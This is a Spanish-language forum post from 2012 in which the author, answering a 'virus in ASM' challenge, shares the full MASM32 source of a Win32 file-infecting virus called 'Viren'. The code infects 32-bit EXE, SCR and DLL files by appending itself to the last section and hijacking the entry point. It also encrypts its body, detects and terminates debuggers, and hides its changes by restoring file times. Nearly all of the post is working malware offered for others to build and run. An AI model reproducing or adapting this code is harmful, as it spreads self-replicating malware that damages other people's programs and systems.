1
Cracking / Re:RETO (Virus en Asm)
« en: Junio 09, 2012, 07:21:10 pm »
Bueno, hace mucho que no posteo nada por estos lares y de pronto vi esto "RETO: Virus en ASM" y no me pude resistir... a coger un código mío de hace unos meses xD La verdad es que como virus es muy sencillo:
Solo tiene algo de antidebugger, encriptación, self-check con crc32, infecta a todos lo ejecutables de 32 bits de la carpeta actual añadiendose a la ultima sección, tambien Dlls (aunque en esto aun tiene problemas con algunas),... En fin, que recuerdos. Aquí va mi "Win32/Viren":
Nota: la marca de infección es... Bueno, nuevo reto, quien me diga cuál es la marca de infección le doy diez puntos xDDDD Alguien?
Nota 2: para comprobar que funciona, podeis copiar el notepad.exe o el calc.exe (siempre que sean de 32 bits), ejecutais el virus y luego os vais al OllyDbg/IDA y si veis que el entry point está en la última sección y comienza con un pushad... malo malo xD
Por cierto, que para empezar os recomiendo Masm32 que viene con todos los includes, etc... luego, ya estareis listos de pasaros a x64 con FASM (the best assembler ever!)
Una cosa, esto no iría mejor en "Malware"?
Solo tiene algo de antidebugger, encriptación, self-check con crc32, infecta a todos lo ejecutables de 32 bits de la carpeta actual añadiendose a la ultima sección, tambien Dlls (aunque en esto aun tiene problemas con algunas),... En fin, que recuerdos. Aquí va mi "Win32/Viren":
Código: [Seleccionar]
;;;; viren.asm
.386p
.model flat, stdcall
option casemap: none
include windows.inc
include kernel32.inc
include user32.inc
include viren.inc
includelib kernel32.lib
includelib user32.lib
ANTIDEBUG = TRUE
ANTIBAIT = TRUE
INFECTEXE = TRUE
INFECTSCR = TRUE
INFECTDLL = TRUE
; INFECTRAR = TRUE
; HOOKIAT = TRUE
HOOKENT struct
pfnApi dd ?
pfnHook dd ?
HOOKENT ends
vir_offset macro addr_of
exitm <(addr_of - @@virus_start)>
endm
delta macro addr_of
exitm <(addr_of - @@delta)>
endm
makenops macro nop_size
db nop_size dup (90h)
endm
.const
VIRUS_SIZE equ (@@virus_end-@@virus_start)
CRYPTED_SIZE1 equ (@@virus_end-@@crypted_code1)
HASH_SIZE equ (@@hash_end-@@hash_start)
ZERO_SIZE equ (@@zero_end-@@zero_start)
MAX_RT_INFECTIONS equ 0ah
HOOK_COUNT equ 1h
.code
start:
@@virus_start:
@@main:
pushad
call @@get_delta
jmp @@continue_start
@@get_delta:
push esi
call @@delta
@@delta:
mov esi,esp
lodsd
mov ebp,eax
pop eax
pop esi
ret
@@continue_start:
mov al,[ebp + delta(init_mode)]
test al,al
jz @@get_kernel
ifdef INFECTDLL
cmp al,VIR_INIT_DLL
jne @F
movzx eax,word ptr [ebp + delta(ref_count)]
test eax,eax
jnz @@return2host
inc word ptr [ebp + delta(ref_count)]
@@:
endif
jmp @@decrypt1
init_mode db VIR_INIT_GEN
ifdef INFECTDLL
ref_count dw ?
endif
crypt1_primary_key db ?
saved_ep dd @@first_exit ; I'll put some anti-debug tricks at the decryption layer (PEB independent)
; and i want to be able to safely return2host (in other words, i need the saved EP to be decrypted at init)
@@decrypt1:
lea esi,[ebp + delta(@@crypted_code1)]
mov edi,esi
mov bl,byte ptr [ebp + delta(crypt1_primary_key)]
mov ecx,CRYPTED_SIZE1
@@:
lodsb
not al
xor al,bl
stosb
loop @B
jmp @@get_kernel
@@crypted_code1:
generation dd 0h
virus_crc32 dd ?
@@address_of_hooks: ; simply an array of HOOKENT entries
db 0h
@@zero_start:
hkernel dd ?
getprocaddress dd ?
@@address_of_funcs:
getmodulehandle dd ?
createfile dd ?
createfilemapping dd ?
mapviewoffile dd ?
flushviewoffile dd ?
unmapviewoffile dd ?
findfirstfile dd ?
findnextfile dd ?
findclose dd ?
localalloc dd ?
localfree dd ?
getfilesize dd ?
getfiletime dd ?
setfiletime dd ?
loadlibrary dd ?
freelibrary dd ?
multibytetowidechar dd ?
gettickcount dd ?
ifndef TINY
openprocess dd ?
terminateprocess dd ?
widechartomultibyte dd ?
endif
ifdef ANTIDEBUG
outputdebugstring dd ?
endif
hsfclib dd ?
sfcisfileprotected dd ?
@@ntdll_funcs:
ifndef TINY
ntquerysysteminformation dd ?
endif
ifdef ANTIDEBUG
ntqueryinformationprocess dd ?
endif
ntclose dd ?
ifdef ANTIBAIT
@@bait_flags:
bait_name_flag db ?
bait_size_flag db ?
db ?
db ?
endif
ifdef ANTIDEBUG
@@dbg_flags:
dbg_app_flag db ?
dbg_flag db ?
db ?
db ?
endif
ntdll dd ?
miscsize dd ?
;::::::::::::::::::::;
;:: FUNCTIONS DATA ::;
;::::::::::::::::::::;
last_section dd ?
hfile dd ?
hfilemap dd ?
pvmem dd ?
filesize dd ?
infect_mode db ?
hfinddata dd ?
seed dd ?
infections db 0h
paccesstime dd ?
pwritetime dd ?
@@zero_end:
@@hash_start:
@@get_kernel:
@@zero_data:
xor eax,eax
lea edi,[ebp + delta(@@zero_start)]
mov ecx,ZERO_SIZE
rep stosb
assume fs:nothing
mov eax,fs:[30h] ; get a pointer to the PEB
ifdef ANTIDEBUG
@@check_dbg_peb:
mov cl,[eax+2h]
test cl,cl
jz @@check_dbg_peb_end
inc byte ptr [ebp + delta(dbg_flag)]
@@check_dbg_peb_end:
@@check_dbg_ntflags:
mov ecx,[eax+68h]
and ecx,70h
test ecx,ecx
jz @@check_dbg_ntflags_end
inc byte ptr [ebp + delta(dbg_flag)]
@@check_dbg_ntflags_end:
endif
mov eax,[eax+0ch] ; get PEB->Ldr
mov eax,[eax+14h] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
mov eax,[eax] ; get the next entry (2nd entry)
mov eax,[eax] ; get the next entry (3rd entry)
mov eax,[eax+10h] ; get the 3rd entries base address (kernel32.dll)
mov [ebp + delta(hkernel)],eax
@@gotkernel:
assume eax:ptr IMAGE_DOS_HEADER
mov ebx,[eax].e_lfanew
add ebx,eax
assume ebx:ptr IMAGE_NT_HEADERS
mov ebx,[ebx].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
add ebx,eax
assume ebx:ptr IMAGE_EXPORT_DIRECTORY
push ebx ; save ebx for later use with AddressOfNameOrdinals
mov ebx,[ebx].AddressOfNames
add ebx,eax ; eax = (true)AddressOfNames
xor ecx,ecx
@@getprocloop:
mov edx, dword ptr [ebx]
add edx,eax
cmp dword ptr [edx],'PteG'
jne @@notgetprocaddr
cmp dword ptr [edx+4h],'Acor'
jne @@notgetprocaddr
cmp dword ptr [edx+8h],'erdd'
jne @@notgetprocaddr
jmp @@getprocnamefound
@@notgetprocaddr:
add ebx,4h
inc ecx
jmp @@getprocloop
@@getprocnamefound:
pop ebx ; restore ebx=IMAGE_EXPORT_DIRECTORY
shl ecx,1h
mov edx,[ebx].AddressOfNameOrdinals
add edx,eax
add edx,ecx
movzx ecx, word ptr [edx]
shl ecx,2h
mov edx,[ebx].AddressOfFunctions
add edx,eax
add edx,ecx
mov edx,[edx]
add edx,eax
mov [ebp + delta(getprocaddress)],edx
@@get_kernel_funcs: ; I'll replace them with hash values
call @F
@@address_of_names:
db "GetModuleHandleA",0h
db "CreateFileA",0h
db "CreateFileMappingA",0h
db "MapViewOfFile",0h
db "FlushViewOfFile",0h
db "UnmapViewOfFile",0h
db "FindFirstFileA",0h
db "FindNextFileA",0h
db "FindClose",0h
db "LocalAlloc",0h
db "LocalFree",0h
db "GetFileSize",0h
db "GetFileTime",0h
db "SetFileTime",0h
db "LoadLibraryA",0h
db "FreeLibrary",0h
db "MultiByteToWideChar",0h
db "GetTickCount",0h
ifndef TINY
db "OpenProcess",0h
db "TerminateProcess",0h
db "WideCharToMultiByte",0h
endif
ifdef ANTIDEBUG
db "OutputDebugStringA",0h
endif
ifdef HOOKVEH
db "VirtualProtect",0h
db "AddVectoredExceptionHandler",0h
endif
db 0h
@@:
pop esi
lea edi,[ebp + delta(@@address_of_funcs)]
mov ebx,[ebp + delta(hkernel)]
call @@get_funcs
@@load_sfc:
call @F
db "sfc.dll",0h
@@:
call dword ptr [ebp + delta(loadlibrary)]
mov [ebp + delta(hsfclib)],eax
call @F
db "SfcIsFileProtected",0h
@@:
push eax
call dword ptr [ebp + delta(getprocaddress)]
mov [ebp + delta(sfcisfileprotected)],eax
ifdef ANTIDEBUG
@@check_dbg_time:
call dword ptr [ebp + delta(gettickcount)]
@@init_seed:
mov [ebp + delta(seed)],eax
mov edi,eax
call dword ptr [ebp + delta(gettickcount)]
sub eax,edi
xchg eax,ecx
jecxz @@end_check_dbg_time
@@:
inc byte ptr [ebp + delta(dbg_flag)]
@@end_check_dbg_time:
endif
@@load_ntdll:
call @F
db "ntdll.dll",0h
@@:
call dword ptr [ebp + delta(loadlibrary)]
mov [ebp + delta(ntdll)],eax
mov ebx,eax
call @F
ifndef TINY
db "NtQuerySystemInformation",0h
endif
ifdef ANTIDEBUG
db "NtQueryInformationProcess",0h
endif
db "NtClose",0h
db 0h
@@:
pop esi
lea edi,[ebp + delta(@@ntdll_funcs)]
call @@get_funcs
ifdef ANTIDEBUG
@@check_dbg_remote:
xor edi,edi
push edi
push sizeof DWORD
lea esi,[ebp + delta(miscsize)]
push esi
push ProcessDebugPort
dec edi
push edi
call dword ptr [ebp + delta(ntqueryinformationprocess)]
mov eax,[esi]
inc eax
jnz @@check_dbg_remote_end
inc byte ptr [ebp + delta(dbg_flag)]
@@check_dbg_remote_end:
inc edi
else ; I don't want to repeat code
lea esi,[ebp + delta(miscsize)]
xor edi,edi
endif
ifndef TINY
@@check_dbg_app: ; TODO: I really have to improve this code
; esi=[ebp + delta(miscsize)]
; edi=0h
push esi ; ReturnLength
push edi ; SystemInformationLength=0
push edi ; SystemInformation=NULL
push SystemProcessInformation
call dword ptr [ebp + delta(ntquerysysteminformation)]
push [esi]
push LPTR
call dword ptr [ebp + delta(localalloc)]
test eax,eax
jz @@errout
mov ebx,eax
push edi
push [esi]
push eax
push SystemProcessInformation
call dword ptr [ebp + delta(ntquerysysteminformation)]
assume ebx: ptr SYSTEM_PROCESS_INFORMATION
@@ntquery_loop:
mov eax,[ebx].NextEntryDelta
test eax,eax
jz @@end_ntquery_loop
mov eax,[ebx].ProcessName.Buffer
test eax,eax
jz @@continue_ntquery_loop
call @F
@@address_of_debuggers:
db "ollydbg.exe",0h
db "windbg.exe",0h
db "immunitydebugger.exe",0h
db 0h
@@:
pop esi
@@every_debugger:
; ebx=ptr SYSTEM_PROCESS_INFORMATION
mov al,byte ptr [esi]
test al,al
jz @@continue_ntquery_loop
movzx eax,[ebx].ProcessName.Len
shr eax,1h
inc eax
mov ecx,eax
call @@strlen
cmp eax,ecx
jne @@next_debugger
push eax
push eax
push LPTR
call dword ptr [ebp + delta(localalloc)]
test eax,eax
jz @@errout
mov edi,eax
pop ecx
push ecx
xor edx,edx
push edx
push edx
push ecx
push edi
movzx eax,[ebx].ProcessName.Len
push eax
push [ebx].ProcessName.Buffer
push edx
push CP_ACP
call dword ptr [ebp + delta(widechartomultibyte)] ; edi=(ASCII)[ebp].ProcessName.Buffer
xchg esi,edi
call @@lowercase
xchg esi,edi
pop ecx
push edi
call @@strncmp
xchg eax,ecx
jecxz @@dbg_found
call dword ptr [ebp + delta(localfree)]
@@next_debugger:
call @@strlen
add esi,eax
jmp @@every_debugger
@@dbg_found:
call dword ptr [ebp + delta(localfree)]
ifdef ANTIDEBUG
inc byte ptr [ebp + delta(dbg_app_flag)]
mov al,[ebp + delta(dbg_flag)]
test al,al
jz @@next_debugger
endif
push [ebx].ProcessId
xor edx,edx
push edx
push PROCESS_ALL_ACCESS
call dword ptr [ebp + delta(openprocess)]
push eax
push 0deadbeefh
push eax
call dword ptr [ebp + delta(terminateprocess)]
call dword ptr [ebp + delta(ntclose)]
jmp @@next_debugger
@@continue_ntquery_loop:
add ebx,[ebx].NextEntryDelta
jmp @@ntquery_loop
@@end_ntquery_loop:
assume ebx:nothing
push ebx
call dword ptr [ebp + delta(localfree)]
; BUFF!!! Exhaust!
endif
@@start_research:
call @F
ifdef INFECTEXE
db "*.exe",0h
endif
ifdef INFECTSCR
db "*.scr",0h
endif
ifdef INFECTDLL
db "*.dll",0h ; We are not ready yet: strange exceptions occur
endif
ifdef INFECTRAR
db "*.rar",0h ; It sounds like an uthopy
endif
db 0h
@@:
pop esi
call @F
ifdef INFECTEXE
dw delta(@@infect_exe)
endif
ifdef INFECTSCR
dw delta(@@infect_exe)
endif
ifdef INFECTDLL
dw delta(@@infect_dll)
endif
@@:
pop edi
call @@deal_with_files
;/////////////////////////////////////////////////////////////////////////////
@@errout:
@@free_sfc:
mov ecx,[ebp + delta(hsfclib)]
jecxz @F
push ecx
call dword ptr [ebp + delta(freelibrary)]
@@:
@@free_ntdll:
mov ecx,[ebp + delta(ntdll)]
jecxz @F
push ecx
call dword ptr [ebp + delta(freelibrary)]
@@:
@@return2host:
mov al,byte ptr [ebp + delta(init_mode)]
test al,al
jz @@init_mode_gen
dec al
jz @@init_mode_exe
dec al
jz @@init_mode_dll
int 3h
@@init_mode_exe:
xor eax,eax
push eax
call dword ptr [ebp + delta(getmodulehandle)]
add [ebp + delta(saved_ep)],eax
jmp @F
@@init_mode_dll:
mov eax,[esp+24h] ; 24h = 36 bytes = (7 registers + 1 retn + 1st arg) * sizeof(dword)
add [ebp + delta(saved_ep)],eax
jmp @F
.const
RegEcx textequ <esp+18h>
.code
@@:
@@init_mode_gen:
mov eax,[ebp + delta(saved_ep)]
mov [RegEcx],eax
popad
push ecx
xor ecx,ecx
ret
@@main_endp:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; VIRUS FUNCTIONS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@get_funcs:
pushad
@@:
mov al,byte ptr [esi]
test al,al
jz @F
push esi ; esi=szApiName
push ebx ; ebp=hKernel
call dword ptr [ebp + delta(getprocaddress)] ; edx=pfnGetProcAddress
test eax,eax
jz @@errout
stosd
call @@strlen
add esi,eax
jmp @B
@@:
popad
ret
@@end_func_loop:
ifdef INFECTEXE or INFECTSCR
@@infect_exe:
mov byte ptr [ebp + delta(infect_mode)],VIR_INIT_EXE
jmp @@infect_pe
@@infect_exe_endp:
endif
ifdef INFECTDLL
@@infect_dll:
mov byte ptr [ebp + delta(infect_mode)],VIR_INIT_DLL
jmp @@infect_pe
@@infect_dll_endp:
endif
@@infect_pe:
pushad
ifdef ANTIBAIT
@@check_bait_name:
xor ecx,ecx
push esi
@@scan_filename:
lodsb
test al,al
jz @@filename_end
cmp al,'0'
jae @F
jmp @@scan_filename
@@:
cmp al,'9'
ja @@scan_filename
inc ecx
jmp @@scan_filename
@@filename_end:
pop esi
cmp ecx,3h
seta [ebp + delta(bait_name_flag)]
endif
mov eax,[ebp + delta(hsfclib)]
or eax,[ebp + delta(sfcisfileprotected)]
jz @@infect_open
@@sfcstuff:
xor ebx,ebx
call @@strlen
shl eax,1h
push eax ; save size in bytes
push eax ; dbSize
push LPTR ; dwFlags
call dword ptr [ebp + delta(localalloc)]
mov edi,eax
; ecx already pushed
mov ecx,[esp]
push edi ; lpWideCharStr
dec ebx
push ebx ; cchMultiByte=-1
inc ebx
push esi ; lpMultiByteStr
push ebx ; dwFlags=0
push CP_ACP ; CodePage
call dword ptr [ebp + delta(multibytetowidechar)]
push edi
push ebx
call dword ptr [ebp + delta(sfcisfileprotected)]
test eax,eax
push edi ; pvMem
call dword ptr [ebp + delta(localfree)]
jnz @@infect_exit
@@infect_open:
push ebx ; hTemplateFile
push FILE_ATTRIBUTE_NORMAL ; dwFileAttributes
push OPEN_EXISTING ; dwOpenMode
push ebx ; lpSecAttributes
push FILE_SHARE_READ ; dwShareMode
push GENERIC_READ or GENERIC_WRITE ; dwReqAccess
push esi ; szFileName
call dword ptr [ebp + delta(createfile)]
inc eax ; test against INVALID_HANDLE_VALUE
jz @@infect_exit
dec eax
mov [ebp + delta(hfile)],eax
push [ebp + delta(pwritetime)]
push [ebp + delta(paccesstime)]
push NULL
push eax
call dword ptr [ebp + delta(getfiletime)]
push ebx ; pcbSizeHigh
push [ebp + delta(hfile)] ; hFile
call dword ptr [ebp + delta(getfilesize)]
mov [ebp + delta(filesize)],eax
ifdef ANTIBAIT
@@check_bait_size:
cmp eax,0a000h
setb [ebp + delta(bait_size_flag)]
endif
push ebx ; lpName
push ebx ; dwMaxSizeLow
push ebx ; dwMaxSizeHigh
push PAGE_READWRITE ; flProtect
push ebx ; lpSecAttributes
push [ebp + delta(hfile)] ; hFile
call dword ptr [ebp + delta(createfilemapping)]
test eax,eax
jz @@close_file ; and return
mov [ebp + delta(hfilemap)],eax
push ebx ; dwNumbersOfBytesToMap
push ebx ; dwFileOffsetLow
push ebx ; dwFileOffsetHigh
push FILE_MAP_WRITE ; dwDesiredAccess
push eax ; hFileMap
call dword ptr [ebp + delta(mapviewoffile)]
test eax,eax
jz @@close_map
mov [ebp + delta(pvmem)],eax
mov ebx,eax
call @@check_valid_pe
test eax,eax
jz @@file_unmap
assume ebx: ptr IMAGE_DOS_HEADER
push ebx
add ebx,[ebx].e_lfanew
assume ebx:ptr IMAGE_NT_HEADERS
; mark as infected (or simply checked)
mov edx,2ed52900h
call @@srand
and eax,(24*60*60-1) ; module of a power of 2
add edx,eax
mov [ebx].FileHeader.TimeDateStamp,edx
pop ebx ; since @@get_last_section needs [ebx]='MZ'...
ifdef ANTIBAIT
mov eax,[ebp + delta(@@bait_flags)]
test eax,eax
jnz @@filemap_flush
endif
call @@get_last_section
assume esi:ptr IMAGE_SECTION_HEADER
assume ebx: ptr IMAGE_DOS_HEADER
add ebx,[ebx].e_lfanew
assume ebx:ptr IMAGE_NT_HEADERS
test [esi].Characteristics,IMAGE_SCN_CNT_CODE
jnz @F ; if we are already CODE, section size is included, add only VIRUS_SIZE
mov eax,[esi].Misc.VirtualSize
add [ebx].OptionalHeader.SizeOfCode,eax
@@:
add [ebx].OptionalHeader.SizeOfCode,VIRUS_SIZE
mov eax,[esi].SizeOfRawData
mov [ebp + delta(miscsize)],eax
add eax,VIRUS_SIZE
xor edx,edx
mov ecx,[ebx].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [esi].SizeOfRawData,eax
; Check whether last section's free space is large enough
; I don't like overwriting .reloc section since few executables have it (I think only EXEs produced by bcc32)
; I'll probably add a compression module later
mov eax,[ebp + delta(filesize)]
sub eax,[esi].PointerToRawData
sub eax,[esi].Misc.VirtualSize
cmp eax,VIRUS_SIZE
jge @@pe_infection
mov eax,[ebp + delta(filesize)]
add eax,VIRUS_SIZE
mov ecx,[ebx].OptionalHeader.SectionAlignment
xor edx,edx
div ecx
inc eax
mul ecx
mov edi,eax ; edi= (aligned)increasedSize : I don't know if it's necessary, but it gave me some troubles,so...
push 0h
push [ebp + delta(pvmem)]
call dword ptr [ebp + delta(flushviewoffile)]
push [ebp + delta(pvmem)]
call dword ptr [ebp + delta(unmapviewoffile)]
push [ebp + delta(hfilemap)]
call dword ptr [ebp + delta(ntclose)]
xor ebx,ebx
push ebx ; lpName=NULL
push edi ; dwMaxSizeLow
push ebx ; dwMaxSizeHigh
push PAGE_READWRITE ; flProtect
push ebx ; lpSecAttributes
push [ebp + delta(hfile)] ; hFile
call dword ptr [ebp + delta(createfilemapping)]
test eax,eax
jz @@close_file ; and return
mov [ebp + delta(hfilemap)],eax
push edi ; dwNumbersOfBytesToMap
push ebx ; dwFileOffsetLow
push ebx ; dwFileOffsetHigh
push FILE_MAP_WRITE ; dwDesiredAccess
push eax ; hFileMap
call dword ptr [ebp + delta(mapviewoffile)]
test eax,eax
jz @@close_map
mov edx,[esp]
mov ebx,eax
mov [ebp + delta(pvmem)],eax
assume ebx:ptr IMAGE_DOS_HEADER
call @@get_last_section
assume esi:ptr IMAGE_SECTION_HEADER
add ebx,[ebx].e_lfanew
assume ebx:ptr IMAGE_NT_HEADERS
;__________========== .:: PE INFECTION ::. ===========__________
@@pe_infection:
@@copy_us:
push esi
mov edi,[ebp + delta(pvmem)]
add edi,[esi].PointerToRawData
mov eax,[esi].Misc.VirtualSize
cmp eax,[ebp + delta(miscsize)] ; infect compressed files: VirtualSize > SizeOfRawData
jl @F
add edi,[ebp + delta(miscsize)]
jmp @@continue_copy
@@:
add edi,eax ; edi = ptr start Last Section Contents
@@continue_copy:
lea esi,[ebp + delta(@@virus_start)]
mov ecx,VIRUS_SIZE
push edi
rep movsb
pop edi
mov al,[ebp + delta(infect_mode)]
mov [edi+vir_offset(init_mode)],al
ifdef INFECTDLL
xor eax,eax
mov word ptr [edi + vir_offset(ref_count)],ax
endif
push dword ptr [ebx].OptionalHeader.AddressOfEntryPoint
pop dword ptr [edi+vir_offset(saved_ep)]
inc dword ptr [edi+vir_offset(generation)]
@@encrypt_us:
@@get_keys_and_encrypt:
push ebx
call @@srand
mov ebx,eax
push edi
lea edi,[edi+vir_offset(@@crypted_code1)]
mov esi,edi
mov ecx,CRYPTED_SIZE1
@@:
lodsb
xor al,bl
not al
stosb
loop @B
pop edi
mov [edi+vir_offset(crypt1_primary_key)],bl
pop ebx
pop esi
assume esi:ptr IMAGE_SECTION_HEADER
mov eax,[esi].VirtualAddress
mov ecx,[esi].Misc.VirtualSize
cmp ecx,[ebp + delta(miscsize)]
jl @F
add eax,[ebp + delta(miscsize)]
jmp @@continue_ep_stuff
@@:
add eax,ecx
@@continue_ep_stuff: ; VirtualAddress + VirtualSize/SizeOfRawData = (RVA)EndOfSection (new EP)
add edi,eax ; edi = ptr start Last Section Contents
mov [ebx].OptionalHeader.AddressOfEntryPoint,eax ; EP changed
add [esi].Misc.VirtualSize,VIRUS_SIZE ; VirtualSize fixed
mov eax,[esi].VirtualAddress
add eax,[esi].Misc.VirtualSize
mov [ebx].OptionalHeader.SizeOfImage,eax ; SizeOfImage fixed
or [esi].Characteristics,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ or IMAGE_SCN_CNT_CODE
; add infection to list
inc byte ptr [ebp + delta(infections)]
assume esi:nothing
assume ebx:nothing
@@filemap_flush:
xor eax,eax
push eax
push [ebp + delta(pvmem)]
call dword ptr [ebp + delta(flushviewoffile)]
@@file_unmap:
push [ebp + delta(pvmem)]
call dword ptr [ebp + delta(unmapviewoffile)]
@@close_map:
push [ebp + delta(hfilemap)]
call dword ptr [ebp + delta(ntclose)]
@@close_file:
@@restore_filetime:
push [ebp + delta(pwritetime)]
push [ebp + delta(paccesstime)]
push NULL
push [ebp + delta(hfile)]
call dword ptr [ebp + delta(getfiletime)]
push [ebp + delta(hfile)]
call dword ptr [ebp + delta(ntclose)]
@@infect_exit:
popad
ret
@@infect_pe_endp:
@@get_last_section:
push eax
push edi
push ebx
assume ebx:ptr IMAGE_DOS_HEADER
add ebx,[ebx].e_lfanew
assume ebx:ptr IMAGE_NT_HEADERS
; get NumberOfSections
movzx ecx,[ebx].FileHeader.NumberOfSections
movzx edx,[ebx].FileHeader.SizeOfOptionalHeader
xor eax,eax
lea esi,[ebx].OptionalHeader
add esi,edx
xor eax,eax
lea esi,[ebx].OptionalHeader
add esi,edx
@@section_header_stuff:
assume esi:ptr IMAGE_SECTION_HEADER
mov edx,[esi].PointerToRawData
cmp edx,eax
jb @F
mov eax,edx
mov [ebp + delta(last_section)],esi
@@:
add esi,sizeof IMAGE_SECTION_HEADER
loop @@section_header_stuff
assume esi:nothing
@@exit_section_header_stuff:
mov esi,[ebp + delta(last_section)]
pop ebx
pop edi
pop eax
ret
@@get_last_section_endp:
@@deal_with_files:
pushad
push sizeof WIN32_FIND_DATA
push LMEM_FIXED
call dword ptr [ebp + delta(localalloc)]
test eax,eax
jz @@errout
mov ebx,eax
assume ebx:ptr WIN32_FIND_DATA
push sizeof FILETIME
push LMEM_FIXED
call dword ptr [ebp + delta(localalloc)]
test eax,eax
jz @@errout
mov [ebp + delta(paccesstime)],eax
push sizeof FILETIME
push LMEM_FIXED
call dword ptr [ebp + delta(localalloc)]
test eax,eax
jz @@errout
mov [ebp + delta(pwritetime)],eax
@@every_target:
mov al, byte ptr [esi]
test al,al
jz @@find_end
mov byte ptr [ebp + delta(infections)],0h
push ebx
push esi
call dword ptr [ebp + delta(findfirstfile)]
inc eax
jz @@reset_and_continue
dec eax
mov [ebp + delta(hfinddata)],eax
push esi
lea esi,[ebx].cFileName
movzx eax, word ptr [edi]
add eax,ebp
call eax
pop esi
@@search_files2:
push ebx
push [ebp + delta(hfinddata)]
call dword ptr [ebp + delta(findnextfile)]
test eax,eax
jz @@find_close
push esi
lea esi,[ebx].cFileName
movzx eax, word ptr [edi]
add eax,ebp
call eax
pop esi
cmp byte ptr [ebp + delta(infections)],MAX_RT_INFECTIONS
jb @@search_files2
@@find_close:
push [ebp + delta(hfinddata)]
call dword ptr [ebp + delta(findclose)]
@@reset_and_continue:
call @@strlen
add esi,eax
add edi,sizeof word
jmp @@every_target
@@find_end:
push ebx
call dword ptr [ebp + delta(localfree)]
push [ebp + delta(paccesstime)]
call dword ptr [ebp + delta(localfree)]
push [ebp + delta(pwritetime)]
call dword ptr [ebp + delta(localfree)]
popad
ret
@@deal_with_files_endp:
@@check_valid_pe: ; and compatible! and infected!!!
push ebx
push esi
xor eax,eax
assume fs:nothing
lea ecx,[ebp + delta(@@except_not_valid)]
push ecx ; sehHandler
push dword ptr fs:[eax] ; nextFrame
mov dword ptr fs:[eax],esp
assume ebx: ptr IMAGE_DOS_HEADER
cmp [ebx].e_magic,IMAGE_DOS_SIGNATURE
jne @@return_not_valid
mov eax,ebx
add eax,[ebx].e_lfanew
assume eax:ptr IMAGE_NT_HEADERS
cmp [eax].Signature,IMAGE_NT_SIGNATURE
jnz @@return_not_valid
movzx ecx,[eax].FileHeader.SizeOfOptionalHeader
jecxz @@return_not_valid
mov ecx,[eax].OptionalHeader.BaseOfCode
jecxz @@return_not_valid
movzx edx,[eax].OptionalHeader.Subsystem
test edx,IMAGE_SUBSYSTEM_WINDOWS_GUI or IMAGE_SUBSYSTEM_WINDOWS_GUI
jz @@return_not_valid
ifndef TINY
cmp [eax].OptionalHeader.Magic,IMAGE_NT_OPTIONAL_HDR32_MAGIC
jne @@return_not_valid
endif
cmp [eax].FileHeader.Machine,IMAGE_FILE_MACHINE_I386
jnz @@return_not_valid
call @@get_last_section
assume esi:ptr IMAGE_SECTION_HEADER
mov edx,[esi].Characteristics
and edx,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE ; i assume the file to be infected if R(WX)
cmp edx,IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
je @@return_not_valid
push eax
call @@infectable
xchg eax,ecx
pop eax
jecxz @@return_not_valid
; infection mark
mov edx,[eax].FileHeader.TimeDateStamp
cmp edx,2ed52900h ; 25/11/94 00:00:00
jb @@return_valid
cmp edx,2ed67a7fh ; 25/11/94 23:59:59
ja @@return_valid
jmp @@return_not_valid
assume eax:nothing
@@return_valid:
xor eax,eax
inc eax
jmp @@check_return
@@except_not_valid:
mov eax,[esp+0ch]
assume eax:ptr CONTEXT
push ebp
mov ebp,[eax].regEbp
lea ecx,[ebp + delta(@@return_not_valid)]
pop ebp
mov [eax].regEip,ecx
assume eax:nothing
xor eax,eax
ret
@@return_not_valid:
xor eax,eax
@@check_return:
xor ebx,ebx
mov esp,dword ptr fs:[ebx]
pop dword ptr fs:[ebx]
pop esi
pop ebx
pop ebx
ret
@@check_valid_pe_endp:
@@strlen:
push esi
@@:
lodsb
test al,al
jnz @B
sub esi,[esp]
mov eax,esi
pop esi
ret
@@strlen_endp:
; X(n+1) = (FACTOR * Xn + ADDIT) % MODULUS
.const
FACTOR equ 1103515245
ADDIT equ 12345
MODULUS equ (-1)
.code
@@srand:
imul eax,[ebp + delta(seed)],FACTOR
add eax,ADDIT
mov [ebp + delta(seed)],eax
ret
@@srand_endp:
@@strncmp:
push esi
push edi
push ecx
push edx
@@:
lodsb
mov dl,al
xchg esi,edi
lodsb
cmp al,dl
jne @@ret_false
loop @B
@@ret_true:
xor eax,eax
jmp @@strncmp_ret
@@ret_false:
xor eax,eax
dec eax
@@strncmp_ret:
pop edx
pop ecx
pop edi
pop esi
ret
@@strncmp_endp:
@@lowercase:
push esi
push edi
@@low_loop:
cld
lodsb
test al,al
jz @F
cmp al,'A'
jbe @@low_loop
cmp al,'Z'
jae @@low_loop
add al,20h
mov edi,esi
dec edi
stosb
jmp @@low_loop
@@:
pop edi
pop esi
ret
@@lowercase_endp:
.const
POLYNOM equ 04C11DB7h
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
@@compute_crc32:
; [OnEntry]
; esi => [Mem]
; ecx => count
; [OnExit]
; eax => crc32
xor edx,edx
dec edx
@@crc_loop:
mov eax,edx
and eax,0ffh
xor al,byte ptr [esi]
push ecx
mov ecx,8h
@@:
test al,1h
jz @@bit_not_set
shr eax,1h
xor eax,0edb88320h
jmp @@bit_continue
@@bit_not_set:
shr eax,1h
@@bit_continue:
loop @B
pop ecx
inc esi
shr edx,8h
xor edx,eax
loop @@crc_loop
xchg eax,edx
not eax
ret
@@compute_crc32_endp:
